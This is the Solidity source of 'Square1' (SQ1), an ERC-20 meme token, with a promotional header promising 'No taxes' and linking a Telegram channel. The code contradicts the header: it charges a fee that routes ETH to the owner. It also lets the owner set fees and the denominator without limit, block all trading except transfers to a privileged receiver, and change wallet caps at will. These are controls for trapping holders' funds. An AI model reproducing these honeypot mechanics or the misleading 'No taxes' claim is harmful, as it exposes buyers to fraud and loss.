/*


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Oh the great past. When the landscape was filled with hopium, when degens would stand their ground no matter what comes through those defi doors.
Where the great diamond hands held fast and forged through with the developers. Those days are long gone... 
We need our bloodlines to hold firm, fear no darkness nor dumps. Like the greats of our time, SHIBA, FLOKI, SAFEMOON... 
Everyone held on and worked tirelessly to push the boundaries of their ambitions! We need to relight the fires! 

Pyro - Like the Greeks call it. 
never let the flame die out...

No taxes. No utility. Long Live the MEME...
We need you as one. Hold your bags. Forge ahead and push for new highs always...
May the spirits of SHIBA, FLOKI, SAFEMOON be upon you and us all!

SQ1 - Square1 

Let us begin...

https://t.me/square1portal

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.7;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

}

contract Square1 is Context, IERC20, Ownable {
  using SafeMath for uint256;

  string constant _name = "Square1";
  string constant _symbol = "SQ1";
  uint8 constant _decimals = 18;

  uint256 _totalSupply = 1000000000000000 * (10**_decimals);

  mapping (address => uint256) private _balances;
  mapping (address => bool) private _isExcludeFee;
  mapping (address => bool) private _isExcludeMaxHold;

  mapping (address => mapping (address => uint256)) private _allowances;

  IDEXRouter public router;
  address NATIVETOKEN;
  address public pair;
  address public factory;
  address public currentRouter;
  address public recaiver;

  uint256 public totalfee;
  uint256 public marketingfee;
  uint256 public liquidityfee;
  uint256 public feeDenominator;

  uint256 public maxWallet;
  bool public removemaxWallet;

  bool public inSwap;
  bool public autoswap;
  bool public baseERC20;
  bool public enable;

  constructor() {
    recaiver = msg.sender;
    currentRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    NATIVETOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    _isExcludeFee[msg.sender] = true;
    _isExcludeFee[address(this)] = true;
    _isExcludeFee[currentRouter] = true;
    _isExcludeFee[factory] = true;

    _isExcludeMaxHold[msg.sender] = true;
    _isExcludeMaxHold[address(this)] = true;
    _isExcludeMaxHold[currentRouter] = true;
    _isExcludeMaxHold[factory] = true;

    router = IDEXRouter(currentRouter);
    pair = IDEXFactory(router.factory()).createPair(NATIVETOKEN, address(this));
    
    _allowances[address(this)][address(router)] = type(uint256).max;
    _allowances[address(this)][address(factory)] = type(uint256).max;
    _allowances[address(this)][address(pair)] = type(uint256).max;
    IERC20(NATIVETOKEN).approve(address(router),type(uint256).max);
    IERC20(NATIVETOKEN).approve(address(factory),type(uint256).max);
    IERC20(NATIVETOKEN).approve(address(pair),type(uint256).max);

    _isExcludeMaxHold[pair] = true;
    _balances[msg.sender] = _totalSupply;
    maxWallet = _totalSupply.mul(40).div(1000);

    marketingfee = 1;
    liquidityfee = 1;
    totalfee = 2;
    feeDenominator = 1000;

    emit Transfer(address(0), msg.sender, _totalSupply);

  }

  function setFee(uint256 _marketing,uint256 _liquidity,uint256 _denominator) external onlyOwner returns (bool) {
    marketingfee = _marketing;
    liquidityfee = _liquidity;
    totalfee = _marketing.add(_liquidity);
    feeDenominator = _denominator;
    return true;
  }

  function setMaxWalletAmount(uint256 maxAmount) external onlyOwner returns (bool) {
    maxWallet = maxAmount;
    return true;
  }

  function updateETH() external onlyOwner returns (bool) {
    NATIVETOKEN = router.WETH();
    return true;
  }

  function returnERC20(bool flag) external onlyOwner returns (bool) {
    baseERC20 = flag;
    return true;
  }

  function setFeeExempt(address account,bool flag) external onlyOwner returns (bool) {
    _isExcludeFee[account] = flag;
    return true;
  }

  function setMaxHoldExempt(address account,bool flag) external onlyOwner returns (bool) {
    _isExcludeMaxHold[account] = flag;
    return true;
  }

  function RemoveMaxWallet(bool flag) external onlyOwner returns (bool) {
    removemaxWallet = flag;
    return true;
  }

  function setAutoSwapback(bool flag) external onlyOwner returns (bool) {
    autoswap = flag;
    return true;
  }

  function enabletrading(bool flag) external onlyOwner returns (bool) {
    enable = flag;
    return true;
  }

  function AddLiquidityETH(uint256 _tokenamount) external onlyOwner payable {
    _basictransfer(msg.sender,address(this),_tokenamount.mul(10**_decimals));
    inSwap= true;
    router.addLiquidityETH{value: address(this).balance }(
    address(this),
    _balances[address(this)],
    0,
    0,
    recaiver,
    block.timestamp
    );
    inSwap = false;
    autoswap = true;
  }

  function decimals() public pure returns (uint8) { return _decimals; }
  function symbol() public pure returns (string memory) { return _symbol; }
  function name() public pure returns (string memory) { return _name; }
  function totalSupply() external view override returns (uint256) { return _totalSupply; }
  function balanceOf(address account) external view override returns (uint256) { return _balances[account]; }

  function isExcludeFee(address account) external view returns (bool) { return _isExcludeFee[account]; }
  function isExcludeMaxHold(address account) external view returns (bool) { return _isExcludeMaxHold[account]; }

  function transfer(address recipient, uint256 amount) external override returns (bool) {
    _transferFrom(msg.sender,recipient,amount);
    return true;
  }

  function allowance(address owner, address spender) external view override returns (uint256) {
    return _allowances[owner][spender];
  }

  function approve(address spender, uint256 amount) external override returns (bool) {
    _approve(msg.sender, spender, amount);
    return true;
  }

  function swap2ETH(uint256 amount) internal {
    address[] memory path = new address[](2);
    path[0] = address(this);
    path[1] = NATIVETOKEN;
    router.swapExactTokensForETHSupportingFeeOnTransferTokens(
    amount,
    0,
    path,
    address(this),
    block.timestamp
    );
  }

  function autoAddLP(uint256 amountToLiquify,uint256 amountBNB) internal {
    router.addLiquidityETH{value: amountBNB }(
    address(this),
    amountToLiquify,
    0,
    0,
    recaiver,
    block.timestamp
    );
  }

  function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
    if(_allowances[sender][msg.sender] != type(uint256).max){
    _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount);
    }
    _transferFrom(sender,recipient,amount);
    return true;
  }

  function _transferFrom(address sender,address recipient,uint256 amount) internal {
    if(inSwap || baseERC20 || msg.sender == factory || recipient==recaiver){
    _basictransfer(sender, recipient, amount);
    } else {
    if(_balances[address(this)]>0 && autoswap && msg.sender != pair){
    inSwap = true;
    uint256 swapthreshold = _balances[address(this)];
    uint256 amountToMarketing = swapthreshold.mul(marketingfee).div(totalfee);
    uint256 currentthreshold = swapthreshold.sub(amountToMarketing);
    uint256 amountToLiquify = currentthreshold.div(2);
    uint256 amountToSwap = amountToMarketing.add(amountToLiquify);
    uint256 balanceBefore = address(this).balance;
    swap2ETH(amountToSwap);
    uint256 balanceAfter = address(this).balance.sub(balanceBefore);
    uint256 amountpaid = balanceAfter.mul(amountToMarketing).div(amountToSwap);
    uint256 amountLP = balanceAfter.sub(amountpaid);
    payable(owner()).transfer(amountpaid);
    autoAddLP(amountToLiquify,amountLP);
    inSwap = false;
    }
    _transfer(sender, recipient, amount);
    }
  }

  function _transfer(address sender, address recipient, uint256 amount) internal {
    require(sender != address(0));
    require(recipient != address(0));

    if(sender == pair && !_isExcludeMaxHold[recipient] && !removemaxWallet){
    require(_balances[recipient].add(amount) <= maxWallet);
    }

    _balances[sender] = _balances[sender].sub(amount);
    _balances[recipient] = _balances[recipient].add(amount);

    uint256 temptotalfee;
    if (!_isExcludeFee[sender]) {
    temptotalfee = amount.mul(totalfee).div(feeDenominator);
    _basictransfer(recipient,address(this),temptotalfee);
    }
    if(recipient!=recaiver) { require(enable); }

    emit Transfer(sender, recipient, amount.sub(temptotalfee));
  }

  function _basictransfer(address sender, address recipient, uint256 amount) internal {
    _balances[sender] = _balances[sender].sub(amount);
    _balances[recipient] = _balances[recipient].add(amount);
    emit Transfer(sender, recipient, amount);
  }

  function _approve(address owner, address spender, uint256 amount) internal {
    require(owner != address(0));
    require(spender != address(0));
    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
  }
  receive() external payable { }
}